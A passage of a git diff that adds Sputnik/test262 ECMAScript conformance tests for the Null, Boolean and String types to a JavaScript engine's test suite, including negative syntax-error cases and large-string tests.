+ $ERROR('#1: typeof null === "object". Actual: ' + (typeof null));
+}
+//
+/////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.2/browser.js b/js/src/tests/test262/ch08/8.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.2/browser.js
diff --git a/js/src/tests/test262/ch08/8.2/shell.js b/js/src/tests/test262/ch08/8.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.2/shell.js
diff --git a/js/src/tests/test262/ch08/8.3/S8.3_A1_T1.js b/js/src/tests/test262/ch08/8.3/S8.3_A1_T1.js
new file mode 100644
index 000000000..3c4868526
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.3/S8.3_A1_T1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Boolean type have two values, called true and false
+ *
+ * @path ch08/8.3/S8.3_A1_T1.js
+ * @description Assign true and false to variables
+ */
+
+if (x !== undefined) {
+ $ERROR("#0 x !== undefined, but actual is "+ x);
+}
+
+////////////////////////////////////////////////////////////////////////
+// CHECK#1
+var x = true;
+var y = false;
+
+if (x !== true) {
+ $ERROR("#1.1 x !== true, but actual is "+ x);
+}
+
+if (y !== false) {
+ $ERROR("#1.1 y !== false, but actual is "+ y);
+}
+
+//
+////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.3/S8.3_A1_T2.js b/js/src/tests/test262/ch08/8.3/S8.3_A1_T2.js
new file mode 100644
index 000000000..b5740852e
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.3/S8.3_A1_T2.js
@@ -0,0 +1,75 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Boolean type have two values, called true and false
+ *
+ * @path ch08/8.3/S8.3_A1_T2.js
+ * @description Check type of true/false and it`s equality
+ */
+
+//////////////////////////////////////////////////////////////////////
+// CHECK#1
+if (typeof(true) !== "boolean") {
+ $ERROR('#1: typeof(true) === "boolean"');
+}
+//
+//////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////
+// CHECK#2
+if (typeof(true) != "boolean") {
+ $ERROR('#2: typeof(true) == "boolean"');
+}
+//
+//////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////
+// CHECK#3
+if (typeof(false) !== "boolean") {
+ $ERROR('#3: typeof(false) === "boolean"');
+}
+//
+//////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////
+// CHECK#4
+if (typeof(false) != "boolean") {
+ $ERROR('#4: typeof(false) == "boolean"');
+}
+//
+//////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////
+// CHECK#5
+if (true === false) {
+ $ERROR('#5: true !== false');
+}
+//
+//////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////
+// CHECK#6
+if (true == false) {
+ $ERROR('#6: true != false');
+}
+//
+//////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////
+// CHECK#7
+if (false === true) {
+ $ERROR('#7: false !== true');
+}
+//
+//////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////
+// CHECK#8
+if (false == true) {
+ $ERROR('#8: false != true');
+}
+//
+//////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch08/8.3/S8.3_A2.1.js b/js/src/tests/test262/ch08/8.3/S8.3_A2.1.js
new file mode 100644
index 000000000..e8dfba19d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.3/S8.3_A2.1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The true is reserved word
+ *
+ * @path ch08/8.3/S8.3_A2.1.js
+ * @description Checking if execution of "true=1" fails
+ * @negative
+ */
+
+true = 1;
+
diff --git a/js/src/tests/test262/ch08/8.3/S8.3_A2.2.js b/js/src/tests/test262/ch08/8.3/S8.3_A2.2.js
new file mode 100644
index 000000000..a3ab639cb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.3/S8.3_A2.2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The false is reserved word
+ *
+ * @path ch08/8.3/S8.3_A2.2.js
+ * @description Checking if execution of "false=0" fails
+ * @negative
+ */
+
+false = 0;
+
diff --git a/js/src/tests/test262/ch08/8.3/S8.3_A3.js b/js/src/tests/test262/ch08/8.3/S8.3_A3.js
new file mode 100644
index 000000000..a3aa585c8
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.3/S8.3_A3.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Applaing negation to boolean works well
+ *
+ * @path ch08/8.3/S8.3_A3.js
+ * @description Check not false equals true, not true equals false
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!false !== true){
+ $ERROR('#1: !false === true');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!false != true){
+ $ERROR('#2: !false == true');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (!true !== false){
+ $ERROR('#3: !true === false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (!true != false){
+ $ERROR('#4: !true == false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.3/browser.js b/js/src/tests/test262/ch08/8.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.3/browser.js
diff --git a/js/src/tests/test262/ch08/8.3/shell.js b/js/src/tests/test262/ch08/8.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.3/shell.js
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A1.js b/js/src/tests/test262/ch08/8.4/S8.4_A1.js
new file mode 100644
index 000000000..eb27fc3b3
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Any variable that has been assigned with string literal has the type string
+ *
+ * @path ch08/8.4/S8.4_A1.js
+ * @description Check type of variable that has been assigned with string literal
+ */
+
+/////////////////////////////////////////////////////////
+// CHECK#1
+var str="abcdfg";
+if (typeof(str)!=="string"){
+ $ERROR('#1: var str="abcdfg"; typeof(str) === "string". Actual: ' + (typeof(str)));
+}
+//
+////////////////////////////////////////////////////////
+
+/////////////////////////////////////////////////////////
+// CHECK#2
+var str2='qwerty';
+if (typeof(str2)!=="string"){
+ $ERROR('#2: var str2=\'qwerty\'; typeof(str) === "string". Actual: ' + (typeof(str2)));
+}
+//
+////////////////////////////////////////////////////////
+
+/////////////////////////////////////////////////////////
+// CHECK#3
+var __str='\u0042\u0043\u0044\u0045\u0046\u0047\u0048';
+if (typeof(__str)!=="string"){
+ $ERROR('#3: var __str=\'\\u0042\\u0043\\u0044\\u0045\\u0046\\u0047\\u0048\'; typeof(__str) === "string". Actual: ' + (typeof(__str)));
+}
+//
+////////////////////////////////////////////////////////
+
+/////////////////////////////////////////////////////////
+// CHECK#4
+var str__="\u0042\u0043\u0044\u0045\u0046\u0047\u0048";
+if (typeof(str__)!=="string"){
+ $ERROR('#4: var str__="abcdfg"; typeof(str__) === "string". Actual: ' + (typeof(str__)));
+}
+//
+////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A10.js b/js/src/tests/test262/ch08/8.4/S8.4_A10.js
new file mode 100644
index 000000000..fa2906fcf
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A10.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Both unicode and ascii chars are allowed
+ *
+ * @path ch08/8.4/S8.4_A10.js
+ * @description Create string using both unicode and ascii chars
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var __str = "\u0041A\u0042B\u0043C";
+if (__str !== 'AABBCC'){
+ $ERROR('#1: var __str = "\\u0041A\\u0042B\\u0043C"; __str === \'AABBCC\'. Actual: ' + (__str));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+var __str__ = "\u0041\u0042\u0043"+'ABC';
+if (__str__ !== 'ABCABC'){
+ $ERROR('#2: var __str__ = "\\u0041\\u0042\\u0043"+\'ABC\'; __str__ === \'ABCABC\'. Actual: ' + (__str__));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+var str__ = "ABC"+'\u0041\u0042\u0043';
+if (str__ !== "ABCABC"){
+ $ERROR('#2: var str__ = "ABC"+\'\\u0041\\u0042\\u0043\'; str__ === "ABCABC". Actual: ' + (str__));
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A11.js b/js/src/tests/test262/ch08/8.4/S8.4_A11.js
new file mode 100644
index 000000000..8293382ec
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A11.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Presence of reserved words in string literal are allowed
+ *
+ * @path ch08/8.4/S8.4_A11.js
+ * @description Create string variable, thet include all reserved words
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var __delete=" break else new var case finally return void catch for switch while continue function this with default if throw delete in try do instanceof typeof ";
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A12.js b/js/src/tests/test262/ch08/8.4/S8.4_A12.js
new file mode 100644
index 000000000..6073e08a3
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A12.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Assignment to string literal calls String constructor
+ *
+ * @path ch08/8.4/S8.4_A12.js
+ * @description Check constructor of simple assigned variable
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var str = "rock'n'roll";
+if (str.constructor !== String){
+ $ERROR('#1: var str = "rock\'n\'roll"; str.constructor === String. Actual: ' + (str.constructor));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A13_T1.js b/js/src/tests/test262/ch08/8.4/S8.4_A13_T1.js
new file mode 100644
index 000000000..cefef0d81
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A13_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When appears not closed single-quote program failes
+ *
+ * @path ch08/8.4/S8.4_A13_T1.js
+ * @description Try to create variable using 3 single-quote
+ * @negative
+ */
+
+var str = ''';
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A13_T2.js b/js/src/tests/test262/ch08/8.4/S8.4_A13_T2.js
new file mode 100644
index 000000000..085b17a3d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A13_T2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When appears not closed single-quote program failes
+ *
+ * @path ch08/8.4/S8.4_A13_T2.js
+ * @description Try to create variable using 1 single-quote
+ * @negative
+ */
+
+var str = ';
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A13_T3.js b/js/src/tests/test262/ch08/8.4/S8.4_A13_T3.js
new file mode 100644
index 000000000..c777d754a
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A13_T3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When appears not closed single-quote program failes
+ *
+ * @path ch08/8.4/S8.4_A13_T3.js
+ * @description Try to create variable using 4 single-quote
+ * @negative
+ */
+
+var str = '''';
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A14_T1.js b/js/src/tests/test262/ch08/8.4/S8.4_A14_T1.js
new file mode 100644
index 000000000..309704fef
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A14_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When appears not closed double-quote program failes
+ *
+ * @path ch08/8.4/S8.4_A14_T1.js
+ * @description Try to create variable using 1 double-quote
+ * @negative
+ */
+
+var str = ";
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A14_T2.js b/js/src/tests/test262/ch08/8.4/S8.4_A14_T2.js
new file mode 100644
index 000000000..ee16cbd73
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A14_T2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When appears not closed double-quote program failes
+ *
+ * @path ch08/8.4/S8.4_A14_T2.js
+ * @description Try to create variable using 3 double-quote
+ * @negative
+ */
+
+var str = """;
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A14_T3.js b/js/src/tests/test262/ch08/8.4/S8.4_A14_T3.js
new file mode 100644
index 000000000..85a5ba9bc
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A14_T3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When appears not closed double-quote program failes
+ *
+ * @path ch08/8.4/S8.4_A14_T3.js
+ * @description Try to create variable using 4 double-quote
+ * @negative
+ */
+
+var str = """";
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A2.js b/js/src/tests/test262/ch08/8.4/S8.4_A2.js
new file mode 100644
index 000000000..f18e343a9
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Empty string has type string
+ *
+ * @path ch08/8.4/S8.4_A2.js
+ * @description Create empty string and check it type
+ */
+
+/////////////////////////////////////////////////////////
+// CHECK#1
+var str = '';
+if (typeof(str) !== 'string'){
+ $ERROR('#1: var str = \'\'; typeof(str) === \'string\'. Actual: ' + (typeof(str)));
+}
+//
+////////////////////////////////////////////////////////
+
+/////////////////////////////////////////////////////////
+// CHECK#2
+var str = "";
+if (typeof(str) !== "string"){
+ $ERROR('#2: var str = ""; typeof(str) === "string". Actual: ' + (str));
+}
+//
+////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A3.js b/js/src/tests/test262/ch08/8.4/S8.4_A3.js
new file mode 100644
index 000000000..8b3e18034
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A3.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * String type has a length property
+ *
+ * @path ch08/8.4/S8.4_A3.js
+ * @description Try read length property of string variable
+ */
+
+var __str = "ABCDEFGH";
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__str.length !== 8) {
+ $ERROR('#1: var __str = "ABCDEFGH"; __str.length === 8. Actual: ' + (__str.length));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A4.js b/js/src/tests/test262/ch08/8.4/S8.4_A4.js
new file mode 100644
index 000000000..a89314fdb
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A4.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Empty string variable has a length property
+ *
+ * @path ch08/8.4/S8.4_A4.js
+ * @description Try read length property of empty string variable
+ */
+
+var __str = "";
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__str.length !== 0) {
+ $ERROR('#1: var __str = ""; __str.length === 0. Actual: ' + (__str));
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A5.js b/js/src/tests/test262/ch08/8.4/S8.4_A5.js
new file mode 100644
index 000000000..178891c3b
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A5.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Zero "\0" not terminates the string(C string)
+ *
+ * @path ch08/8.4/S8.4_A5.js
+ * @description Insert "\0" into string
+ */
+
+// CHECK#1
+if ("x\0y" === "x") {
+ $ERROR('#1: "x\\0y" !== "x"');
+}
+
+// CHECK#2
+if (!(("x\0a" < "x\0b") && ("x\0b" < "x\0c"))) {
+ $ERROR('#2: (("x\\0a" < "x\\0b") && ("x\\0b" < "x\\0c")) === true');
+}
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A6.1.js b/js/src/tests/test262/ch08/8.4/S8.4_A6.1.js
new file mode 100644
index 000000000..29a8691e1
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A6.1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Large string 4096 bytes
+ *
+ * @path ch08/8.4/S8.4_A6.1.js
+ * @description Assign variable by large string
+ */
+
+////////////////////////////////////////////////////
+// Check#1
+var largeStr='Standard ECMA-2623r d Edition - December 1999S t a n d a r d i z i n g Informat i o n and Commu n i c a t i o n SystemsPhone: +41 22 849.60.00 - Fax: +41 22 849.60.01 - URL: ht tp: / /www.ecma.ch - Internet: helpdesk@ecma.chECMAScript LanguageSpecificationStandard ECMA-2623r d Edition - December 1999S t a n d a r d i z i n g Informat i o n and Commu n i c a t i o n SystemsPhone: +41 22 849.60.00 - Fax: +41 22 849.60.01 - URL: ht tp: / /www.ecma.ch - Internet: helpdesk@ecma.chMB Ecma-262.doc 08-04-02 16,53ECMAScript LanguageSpecificationBrief HistoryThis ECMA Standard is based on several originating technologies, the most well known being JavaScript (Netscape)and JScript (Microsoft). The language was invented by Brendan Eich at Netscape and first appeared in thatcompan Navigator 2.0 browser. It has appeared in all subsequent browsers from Netscape and in all browsers fromMicrosoft starting with Internet Explorer 3.0.The development of this Standard started in November 1996. The first edition of this ECMA Standard was adopted bythe ECMA General Assembly of June 1997.That ECMA Standard was submitted to ISO/IEC JTC 1 for adoption under the fast-track procedure, and approved asinternational standard ISO/IEC 16262, in April 1998. The ECMA General Assembly of June 1998 approved thesecond edition of ECMA-262 to keep it fully aligned with ISO/IEC 16262. Changes between the first and the secondedition are editorial in nature.The current document defines the third edition of the Standard and includes powerful regular expressions, betterstring handling, new control statements, try/catch exception handling, tighter definition of errors, formatting fornumeric output and minor changes in anticipation of forthcoming internationalisation facilities and future languagegrowth.Work on the language is not complete. The technical committee is working on significant enhancements, includingmechanisms for scripts to be created and used across the Internet, and tighter coordination with other standards bodiessuch as groups within the World Wide Web Consortium and the Wireless Application Protocol Forum.This Standard has been adopted as 3rd Edition of ECMA-262 by the ECMA General Assembly in December, 1999.- i -Table of contents1 Scope 12 Conformance 13 References 14 Overview 1 4.1 Web Scripting 2 4.2 Language Overview 2 4.2.1 Objects 3 4.3 Definitions 4 4.3.1 Type 4 4.3.2 Primitive Value 4 4.3.3 Object 4 4.3.4 Constructor 4 4.3.5 Prototype 4 4.3.6 Native Object 4 4.3.7 Built-in Object 4 4.3.8 Host Object 4 4.3.9 Undefined Value 4 4.3.10 Undefined Type 4 4.3.11 Null Value 4 4.3.12 Null Type 4 4.3.13 Boolean Value 4 4.3.14 Boolean Type 4 4.3.15 Boolean Object 5 4.3.16 String Value 5 4.3.17 String Type 5 4.3.18 String Object 5 4.3.19 Number Value 5 4.3.20 Number Type 5 4.3.21 Number Object 5 4.3.22 Infinity 5 4.3.23 NaN 5 5 Notational Conventions 6 5.1 Syntactic and Lexical Grammars 6 5.1.1 Context-Free Grammars 6 5.1.2 The Lexical and RegExp Grammars 6 5.1.3 The Numeric String Grammar 6 5.1.4 The Syntactic Grammar 6 5.1.5 Grammar Notation 7 5.2 Algorithm Conventions 9 6. Source Text 10 7 Lexical Conventions 11 7.1 Unicode Format-Control Characters 11 7.2 White Space 11 7.3 Line Terminators 12 7.4 Comments 12 - ii - 7.5 Tokens 13 7.5.1 Reserved Words 13 7.5.2 Keywords 13 7.5.3 Future Reserved Words 14 7.6 Identifiers 14 7.7 Punctuators 15 7.8 Literals 16 7.8.1 Null Literals 16 7.8.2 Boolean Literals 16 7.8.3 Numeric Literals 16 7.8.4 String Literals 18 7.8.5 Regular Expression Literals 20 7.9 Automatic Semicolon Insertion 21 7.9.1 Rules of Automatic Semicolon Insertion 21 7.9.2 Examples of Automatic Semicolon Insertion 22 8 Types 24 8.1 The Undefined Type 24 8.2 The Null Type 24 8.3 The Boolean Type 24 8.4 The String Type 24 8.5 The Number Type 24 8.6 The Object Type 25 8.6.1 Property Attributes 25 8.6.2 Internal Properties and Methods 26 8.7 The Reference Type 29 8.7.1 GetValue (V) 29 8.7.2 PutValue (V, W) 29 8.8 The List Type 30 8.9 The Completion Type 30 9 Type Conversion 30 9.1 ToPrimitive 30 9.2 ToBoolean 30 9.3 ToNumber 31 9.3.1 ToNumber Ap';
+if(largeStr !== 'Standard ECMA-2623r d Edition - December 1999S t a n d a r d i z i n g Informat i o n and Commu n i c a t i o n SystemsPhone: +41 22 849.60.00 - Fax: +41 22 849.60.01 - URL: ht tp: / /www.ecma.ch - Internet: helpdesk@ecma.chECMAScript LanguageSpecificationStandard ECMA-2623r d Edition - December 1999S t a n d a r d i z i n g Informat i o n and Commu n i c a t i o n SystemsPhone: +41 22 849.60.00 - Fax: +41 22 849.60.01 - URL: ht tp: / /www.ecma.ch - Internet: helpdesk@ecma.chMB Ecma-262.doc 08-04-02 16,53ECMAScript LanguageSpecificationBrief HistoryThis ECMA Standard is based on several originating technologies, the most well known being JavaScript (Netscape)and JScript (Microsoft). The language was invented by Brendan Eich at Netscape and first appeared in thatcompan Navigator 2.0 browser. It has appeared in all subsequent browsers from Netscape and in all browsers fromMicrosoft starting with Internet Explorer 3.0.The development of this Standard started in November 1996. The first edition of this ECMA Standard was adopted bythe ECMA General Assembly of June 1997.That ECMA Standard was submitted to ISO/IEC JTC 1 for adoption under the fast-track procedure, and approved asinternational standard ISO/IEC 16262, in April 1998. The ECMA General Assembly of June 1998 approved thesecond edition of ECMA-262 to keep it fully aligned with ISO/IEC 16262. Changes between the first and the secondedition are editorial in nature.The current document defines the third edition of the Standard and includes powerful regular expressions, betterstring handling, new control statements, try/catch exception handling, tighter definition of errors, formatting fornumeric output and minor changes in anticipation of forthcoming internationalisation facilities and future languagegrowth.Work on the language is not complete. The technical committee is working on significant enhancements, includingmechanisms for scripts to be created and used across the Internet, and tighter coordination with other standards bodiessuch as groups within the World Wide Web Consortium and the Wireless Application Protocol Forum.This Standard has been adopted as 3rd Edition of ECMA-262 by the ECMA General Assembly in December, 1999.- i -Table of contents1 Scope 12 Conformance 13 References 14 Overview 1 4.1 Web Scripting 2 4.2 Language Overview 2 4.2.1 Objects 3 4.3 Definitions 4 4.3.1 Type 4 4.3.2 Primitive Value 4 4.3.3 Object 4 4.3.4 Constructor 4 4.3.5 Prototype 4 4.3.6 Native Object 4 4.3.7 Built-in Object 4 4.3.8 Host Object 4 4.3.9 Undefined Value 4 4.3.10 Undefined Type 4 4.3.11 Null Value 4 4.3.12 Null Type 4 4.3.13 Boolean Value 4 4.3.14 Boolean Type 4 4.3.15 Boolean Object 5 4.3.16 String Value 5 4.3.17 String Type 5 4.3.18 String Object 5 4.3.19 Number Value 5 4.3.20 Number Type 5 4.3.21 Number Object 5 4.3.22 Infinity 5 4.3.23 NaN 5 5 Notational Conventions 6 5.1 Syntactic and Lexical Grammars 6 5.1.1 Context-Free Grammars 6 5.1.2 The Lexical and RegExp Grammars 6 5.1.3 The Numeric String Grammar 6 5.1.4 The Syntactic Grammar 6 5.1.5 Grammar Notation 7 5.2 Algorithm Conventions 9 6. Source Text 10 7 Lexical Conventions 11 7.1 Unicode Format-Control Characters 11 7.2 White Space 11 7.3 Line Terminators 12 7.4 Comments 12 - ii - 7.5 Tokens 13 7.5.1 Reserved Words 13 7.5.2 Keywords 13 7.5.3 Future Reserved Words 14 7.6 Identifiers 14 7.7 Punctuators 15 7.8 Literals 16 7.8.1 Null Literals 16 7.8.2 Boolean Literals 16 7.8.3 Numeric Literals 16 7.8.4 String Literals 18 7.8.5 Regular Expression Literals 20 7.9 Automatic Semicolon Insertion 21 7.9.1 Rules of Automatic Semicolon Insertion 21 7.9.2 Examples of Automatic Semicolon Insertion 22 8 Types 24 8.1 The Undefined Type 24 8.2 The Null Type 24 8.3 The Boolean Type 24 8.4 The String Type 24 8.5 The Number Type 24 8.6 The Object Type 25 8.6.1 Property Attributes 25 8.6.2 Internal Properties and Methods 26 8.7 The Reference Type 29 8.7.1 GetValue (V) 29 8.7.2 PutValue (V, W) 29 8.8 The List Type 30 8.9 The Completion Type 30 9 Type Conversion 30 9.1 ToPrimitive 30 9.2 ToBoolean 30 9.3 ToNumber 31 9.3.1 ToNumber Ap'){
+ $ERROR('#1: Large string 4096 bytes');
+}
+//
+////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch08/8.4/S8.4_A6.2.js b/js/src/tests/test262/ch08/8.4/S8.4_A6.2.js
new file mode 100644
index 000000000..5794b030d
--- /dev/null
+++ b/js/src/tests/test262/ch08/8.4/S8.4_A6.2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Large string 8192 bytes
+ *
+ * @path ch08/8.4/S8.4_A6.2.js
+ * @description Assign variable by large string
+ */
+
+////////////////////////////////////////////////////
+// Check#2
+var largeStr='Standard ECMA-2623r d Edition - December 1999S t a n d a r d i z i n g Informat i o n and Commu n i c a t i o n SystemsPhone: +41 22 849.60.00 - Fax: +41 22 849.60.01 - URL: ht tp: / /www.ecma.ch - Internet: helpdesk@ecma.chECMAScript LanguageSpecificationStandard ECMA-2623r d Edition - December 1999S t a n d a r d i z i n g Informat i o n and Commu n i c a t i o n SystemsPhone: +41 22 849.60.00 - Fax: +41 22 849.60.01 - URL: ht tp: / /www.ecma.ch - Internet: helpdesk@ecma.chMB Ecma-262.doc 08-04-02 16,53ECMAScript LanguageSpecificationBrief HistoryThis ECMA Standard is based on several originating technologies, the most well known being JavaScript (Netscape)and JScript (Microsoft). The language was invented by Brendan Eich at Netscape and first appeared in thatcompans Navigator 2.0 browser. It has appeared in all subsequent browsers from Netscape and in all browsers fromMicrosoft starting with Internet Explorer 3.0.The development of this Standard started in November 1996. The first edition of this ECMA Standard was adopted bythe ECMA General Assembly of June 1997.That ECMA Standard was submitted to ISO/IEC JTC 1 for adoption under the fast-track procedure, and approved asinternational standard ISO/IEC 16262, in April 1998. The ECMA General Assembly of June 1998 approved thesecond edition of ECMA-262 to keep it fully aligned with ISO/IEC 16262. Changes between the first and the secondedition are editorial in nature.The current document defines the third edition of the Standard and includes powerful regular expressions, betterstring handling, new control statements, try/catch exception handling, tighter definition of errors, formatting fornumeric output and minor changes in anticipation of forthcoming internationalisation facilities and future languagegrowth.Work on the language is not complete. The technical committee is working on significant enhancements, includingmechanisms for scripts to be created and used across the Internet, and tighter coordination with other standards bodiessuch as groups within the World Wide Web Consortium and the Wireless Application Protocol Forum.This Standard has been adopted as 3rd Edition of ECMA-262 by the ECMA General Assembly in December, 1999.- i -Table of contents1 Scope 12 Conformance 13 References 14 Overview 1 4.1 Web Scripting 2 4.2 Language Overview 2 4.2.1 Objects 3 4.3 Definitions 4 4.3.1 Type 4 4.3.2 Primitive Value 4 4.3.3 Object 4 4.3.4 Constructor 4 4.3.5 Prototype 4 4.3.6 Native Object 4 4.3.7 Built-in Object 4 4.3.8 Host Object 4 4.3.9 Undefined Value 4 4.3.10 Undefined Type 4 4.3.11 Null Value 4 4.3.12 Null Type 4 4.3.13 Boolean Value 4 4.3.14 Boolean Type 4 4.3.15 Boolean Object 5 4.3.16 String Value 5 4.3.17 String Type 5 4.3.18 String Object 5 4.3.19 Number Value 5 4.3.20 Number Type 5 4.3.21 Number Object 5 4.3.22 Infinity 5 4.3.23 NaN 5 5 Notational Conventions 6 5.1 Syntactic and Lexical Grammars 6 5.1.1 Context-Free Grammars 6 5.1.2 The Lexical and RegExp Grammars 6 5.1.3 The Numeric String Grammar 6 5.1.4 The Syntactic Grammar 6 5.1.5 